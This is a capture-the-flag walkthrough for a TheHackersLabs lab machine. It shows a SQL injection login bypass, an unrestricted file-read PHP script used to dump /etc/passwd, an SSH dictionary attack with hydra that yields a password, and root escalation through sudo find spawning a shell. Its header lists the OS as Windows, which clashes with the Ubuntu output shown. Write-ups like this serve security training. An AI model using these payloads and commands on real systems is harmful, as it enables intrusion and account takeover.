TheHackersLabs — https://thehackerslabs.com/

  • Platform: TheHackersLabs
  • OS: Windows
  • Difficulty: Easy

Enumeration

Scan

22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a6:3f:47:73:4c:6d:b3:23:29:fa:f8:1f:1d:42:44:b9 (ECDSA)
|_  256 11:b8:dc:df:a9:c1:9f:b5:8f:55:93:a4:ef:65:c8:d5 (ED25519)

80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: AFN

SSH (22)

  • Password based authentication
❯ ssh root@192.168.66.171
The authenticity of host '192.168.66.171 (192.168.66.171)' can't be established.
ED25519 key fingerprint is: SHA256:FGZRACBwhyqZdv6wvuqfoIz1l1eoneHbjQfxlQPQz0o
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.171' (ED25519) to the list of known hosts.
root@192.168.66.171's password:

HTTP (80)

80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: AFN

Software versions

nginx 1.24.0

Website

  • index.php
  • sqli.php

Dirsearch

[07:57:41] 200 -  359B  - /admin.php                                        
[07:58:08] 301 -  178B  - /images  ->  http://192.168.66.171/images/        
[07:58:08] 403 -    2KB - /images/                                          
[07:58:12] 200 -    2KB - /login.php
  • /admin.php
  • /login.php

Exploitation

login.php - SQL injection

Check vulnerability

Input

Usuario: admin
Contraseña: '

Output

image

Exploit SQL injection vulnerability

  • Input values:
Usuario: admin
Contraseña: ' OR '1'='1

Success on SQL injection

  • Redirects to admin.php

image

todo-list.php

Content

image

Conversion to base64

❯ echo 'lee_archivos' | base64
bGVlX2FyY2hpdm9zCg==

bGVlX2FyY2hpdm9zCg==.php

Content

  • We can read the code itself. bGVlX2FyY2hpdm9zCg==.php

image

Output

<html>

	<form method="post" action="bGVlX2FyY2hpdm9zCg==.php">
		<label for="archivo"> Introduce el archivo a buscar: </label>
		<input type="text" id="archivo" name="archivo" required> 
		<button type="submit">Leer</button>
	</form>

	<?php
		$archivo = $_POST['archivo'];
		$contenido = file_get_contents($archivo);
		echo "<pre>" . htmlspecialchars($contenido) . "</pre>";
	?>

<!-- Tengo que limitar los archivos que se pueden ver, al menos hasta que los 
usuarios tengan unas contraseñas más robustas -->

<!-- Si alguien leyera el archivo donde se encuentran los usuarios y usara 
la herramienta hydra para atacar nuestro servicio ssh... 
Bueno, mañana me encargare de ello -->
</html>
  • It’s using file_get_contents() php function to read files.
  • There are some hints as comments

/etc/passwd content

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
tyuiop:x:1000:1000:tyuiop:/home/tyuiop:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
superadministrator:x:1001:1001:,,,:/home/superadministrator:/bin/bash

Dictionary attack (hydra)

❯ cat users.txt
tyuiop
superadministrator
  • Command
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \n
-u -V -f -I 192.168.66.171 ssh
  • Credentials found for superadministrator
superadministrator:princesa

Post-exploitation

SSH Access (superadministrator)

superadministrator@thehackerslabs-bocatacalamares:~$ whoami
superadministrator

Home content

superadministrator@thehackerslabs-bocatacalamares:~$ ls -l
total 8
-rw-r--r-- 1 root root  13 Jan 10  2025 flag.txt
-rw-r--r-- 1 root root 125 Jan  9  2025 recordatorio.txt

recordatorio.txt contents another hint:

superadministrator@thehackerslabs-bocatacalamares:~$ cat recordatorio.txt 
Me han dicho que existe una pagina llamada gtfobins muy util para ctfs,
la dejo aquí apuntada para recordarlo mas adelante.

Sudo permisions

Command

$ sudo -l
Matching Defaults entries for superadministrator on thehackerslabs-bocatacalamares:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User superadministrator may run the following commands on thehackerslabs-bocatacalamares:
    (ALL) NOPASSWD: /usr/bin/find

Find command allows escalation

Info from https://gtfobins.github.io/gtfobins/find/#shell

image

Root access (using find with sudo privilege)

Command

$ sudo find . -exec /bin/sh \; -quit

Output

# id
uid=0(root) gid=0(root) groups=0(root)

# cd /root
# ls
root.txt

0 items under this folder.